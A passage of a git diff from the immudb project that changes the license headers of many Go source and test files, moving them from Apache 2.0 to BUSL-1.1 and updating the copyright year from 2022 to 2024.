79404f39d1..580fc4ef2f 100644 --- a/cmd/immuclient/immuc/getcommands_errors_test.go +++ b/cmd/immuclient/immuc/getcommands_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/getcommands_test.go b/cmd/immuclient/immuc/getcommands_test.go index 4373bf4209..61b618bceb 100644 --- a/cmd/immuclient/immuc/getcommands_test.go +++ b/cmd/immuclient/immuc/getcommands_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/history.go b/cmd/immuclient/immuc/history.go index 2f7fa74dd2..d2601fcd14 100644 --- a/cmd/immuclient/immuc/history.go +++ b/cmd/immuclient/immuc/history.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/history_test.go b/cmd/immuclient/immuc/history_test.go index 403f1c52b5..6c50787b62 100644 --- a/cmd/immuclient/immuc/history_test.go +++ b/cmd/immuclient/immuc/history_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/init.go b/cmd/immuclient/immuc/init.go index ddc05a5afd..8e58dd4e36 100644 --- a/cmd/immuclient/immuc/init.go +++ b/cmd/immuclient/immuc/init.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/init_errors_test.go b/cmd/immuclient/immuc/init_errors_test.go index 6c764df6ce..2b07202111 100644 --- a/cmd/immuclient/immuc/init_errors_test.go +++ b/cmd/immuclient/immuc/init_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/init_test.go b/cmd/immuclient/immuc/init_test.go index 14aaf9ee59..fc03859cc9 100644 --- a/cmd/immuclient/immuc/init_test.go +++ b/cmd/immuclient/immuc/init_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/login.go b/cmd/immuclient/immuc/login.go index 8a7d902e36..076c082233 100644 --- a/cmd/immuclient/immuc/login.go +++ b/cmd/immuclient/immuc/login.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/login_errors_test.go b/cmd/immuclient/immuc/login_errors_test.go index b2c21bca3e..354847763d 100644 --- a/cmd/immuclient/immuc/login_errors_test.go +++ b/cmd/immuclient/immuc/login_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/login_test.go b/cmd/immuclient/immuc/login_test.go index 51cce280e1..08af0d6d11 100644 --- a/cmd/immuclient/immuc/login_test.go +++ b/cmd/immuclient/immuc/login_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/misc.go b/cmd/immuclient/immuc/misc.go index b7f232a73a..5a8321ebb4 100644 --- a/cmd/immuclient/immuc/misc.go +++ b/cmd/immuclient/immuc/misc.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/misc_errors_test.go b/cmd/immuclient/immuc/misc_errors_test.go index 3cd46b0d09..22651992df 100644 --- a/cmd/immuclient/immuc/misc_errors_test.go +++ b/cmd/immuclient/immuc/misc_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/misc_test.go b/cmd/immuclient/immuc/misc_test.go index 3a73feeabf..13dbc1436e 100644 --- a/cmd/immuclient/immuc/misc_test.go +++ b/cmd/immuclient/immuc/misc_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/options.go b/cmd/immuclient/immuc/options.go index 5104d37dff..de9239a206 100644 --- a/cmd/immuclient/immuc/options.go +++ b/cmd/immuclient/immuc/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/options_test.go b/cmd/immuclient/immuc/options_test.go index 8c0ef0f596..f135231c31 100644 --- a/cmd/immuclient/immuc/options_test.go +++ b/cmd/immuclient/immuc/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/print.go b/cmd/immuclient/immuc/print.go index 05dda61db0..ee7c8672fc 100644 --- a/cmd/immuclient/immuc/print.go +++ b/cmd/immuclient/immuc/print.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/references.go b/cmd/immuclient/immuc/references.go index 11ddf403e1..b49879487e 100644 --- a/cmd/immuclient/immuc/references.go +++ b/cmd/immuclient/immuc/references.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/references_errors_test.go b/cmd/immuclient/immuc/references_errors_test.go index dd43f4f4ef..22ab89f7b5 100644 --- a/cmd/immuclient/immuc/references_errors_test.go +++ b/cmd/immuclient/immuc/references_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/references_test.go b/cmd/immuclient/immuc/references_test.go index eb8b920983..e8dabb5393 100644 --- a/cmd/immuclient/immuc/references_test.go +++ b/cmd/immuclient/immuc/references_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/scanners.go b/cmd/immuclient/immuc/scanners.go index b3a85f7dea..22383262cb 100644 --- a/cmd/immuclient/immuc/scanners.go +++ b/cmd/immuclient/immuc/scanners.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/scanners_errors_test.go b/cmd/immuclient/immuc/scanners_errors_test.go index 6c4990203e..210912023e 100644 --- a/cmd/immuclient/immuc/scanners_errors_test.go +++ b/cmd/immuclient/immuc/scanners_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/scanners_test.go b/cmd/immuclient/immuc/scanners_test.go index 25928faa1c..34e3172fb3 100644 --- a/cmd/immuclient/immuc/scanners_test.go +++ b/cmd/immuclient/immuc/scanners_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/setcommands.go b/cmd/immuclient/immuc/setcommands.go index 838bb7cb27..f0147bc80d 100644 --- a/cmd/immuclient/immuc/setcommands.go +++ b/cmd/immuclient/immuc/setcommands.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/setcommands_errors_test.go b/cmd/immuclient/immuc/setcommands_errors_test.go index 2ed132e953..c977d3cd29 100644 --- a/cmd/immuclient/immuc/setcommands_errors_test.go +++ b/cmd/immuclient/immuc/setcommands_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/setcommands_test.go b/cmd/immuclient/immuc/setcommands_test.go index 2e14eb5537..376b0586db 100644 --- a/cmd/immuclient/immuc/setcommands_test.go +++ b/cmd/immuclient/immuc/setcommands_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/sql.go b/cmd/immuclient/immuc/sql.go index 6a3e9c3cf1..6b66fd9892 100644 --- a/cmd/immuclient/immuc/sql.go +++ b/cmd/immuclient/immuc/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuclient.go b/cmd/immuclient/immuclient.go index a5974d2d4a..d6d17591f3 100644 --- a/cmd/immuclient/immuclient.go +++ b/cmd/immuclient/immuclient.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuclienttest/helper.go b/cmd/immuclient/immuclienttest/helper.go index 3033329a54..2e89a03352 100644 --- a/cmd/immuclient/immuclienttest/helper.go +++ b/cmd/immuclient/immuclienttest/helper.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/service/configs/immuclient.toml.freebsd.dist.go b/cmd/immuclient/service/configs/immuclient.toml.freebsd.dist.go index 3c35bcb698..876d6bd5a4 100644 --- a/cmd/immuclient/service/configs/immuclient.toml.freebsd.dist.go +++ b/cmd/immuclient/service/configs/immuclient.toml.freebsd.dist.go @@ -2,13 +2,13 @@ // +build freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/service/configs/immuclient.toml.linux.dist.go b/cmd/immuclient/service/configs/immuclient.toml.linux.dist.go index 89ca3c9507..3272747d9f 100644 --- a/cmd/immuclient/service/configs/immuclient.toml.linux.dist.go +++ b/cmd/immuclient/service/configs/immuclient.toml.linux.dist.go @@ -2,13 +2,13 @@ // +build linux darwin /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/service/configs/immuclient.toml.windows.dist.go b/cmd/immuclient/service/configs/immuclient.toml.windows.dist.go index dfacf05fe4..b8e6864d95 100644 --- a/cmd/immuclient/service/configs/immuclient.toml.windows.dist.go +++ b/cmd/immuclient/service/configs/immuclient.toml.windows.dist.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/service/constants/freebsd.dist.go b/cmd/immuclient/service/constants/freebsd.dist.go index c782de5fea..5d07beceb2 100644 --- a/cmd/immuclient/service/constants/freebsd.dist.go +++ b/cmd/immuclient/service/constants/freebsd.dist.go @@ -2,13 +2,13 @@ // +build freebsd /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/service/constants/linux.dist.go b/cmd/immuclient/service/constants/linux.dist.go index 959758dc64..144945d62c 100644 --- a/cmd/immuclient/service/constants/linux.dist.go +++ b/cmd/immuclient/service/constants/linux.dist.go @@ -2,13 +2,13 @@ // +build linux darwin /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/service/constants/windows.dist.go b/cmd/immuclient/service/constants/windows.dist.go index 9ee0224a7e..eca9e65a9b 100644 --- a/cmd/immuclient/service/constants/windows.dist.go +++ b/cmd/immuclient/service/constants/windows.dist.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/cmd.go b/cmd/immudb/command/cmd.go index 2832da077e..43c340a84b 100644 --- a/cmd/immudb/command/cmd.go +++ b/cmd/immudb/command/cmd.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/cmd_test.go b/cmd/immudb/command/cmd_test.go index 56ee7cb31f..d945cdf889 100644 --- a/cmd/immudb/command/cmd_test.go +++ b/cmd/immudb/command/cmd_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/commandline.go b/cmd/immudb/command/commandline.go index 93d6334494..6e7ebdc371 100644 --- a/cmd/immudb/command/commandline.go +++ b/cmd/immudb/command/commandline.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/commandline_test.go b/cmd/immudb/command/commandline_test.go index e89eb5fe51..14bd546649 100644 --- a/cmd/immudb/command/commandline_test.go +++ b/cmd/immudb/command/commandline_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/immudbcmdtest/immuServerMock.go b/cmd/immudb/command/immudbcmdtest/immuServerMock.go index 4ea6c99acd..e3a48e7253 100644 --- a/cmd/immudb/command/immudbcmdtest/immuServerMock.go +++ b/cmd/immudb/command/immudbcmdtest/immuServerMock.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go b/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go index cad81863ef..d77abd4297 100644 --- a/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go +++ b/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/immudbcmdtest/manpageservice.go b/cmd/immudb/command/immudbcmdtest/manpageservice.go index 98439da1c8..30592c5a1e 100644 --- a/cmd/immudb/command/immudbcmdtest/manpageservice.go +++ b/cmd/immudb/command/immudbcmdtest/manpageservice.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index d5859cff60..92db3eaa8d 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 10b07a75c4..b4132f23bf 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/root.go b/cmd/immudb/command/root.go index beac44bcb4..3063e5ba1c 100644 --- a/cmd/immudb/command/root.go +++ b/cmd/immudb/command/root.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immudb/command/root_test.go b/cmd/immudb/command/root_test.go index 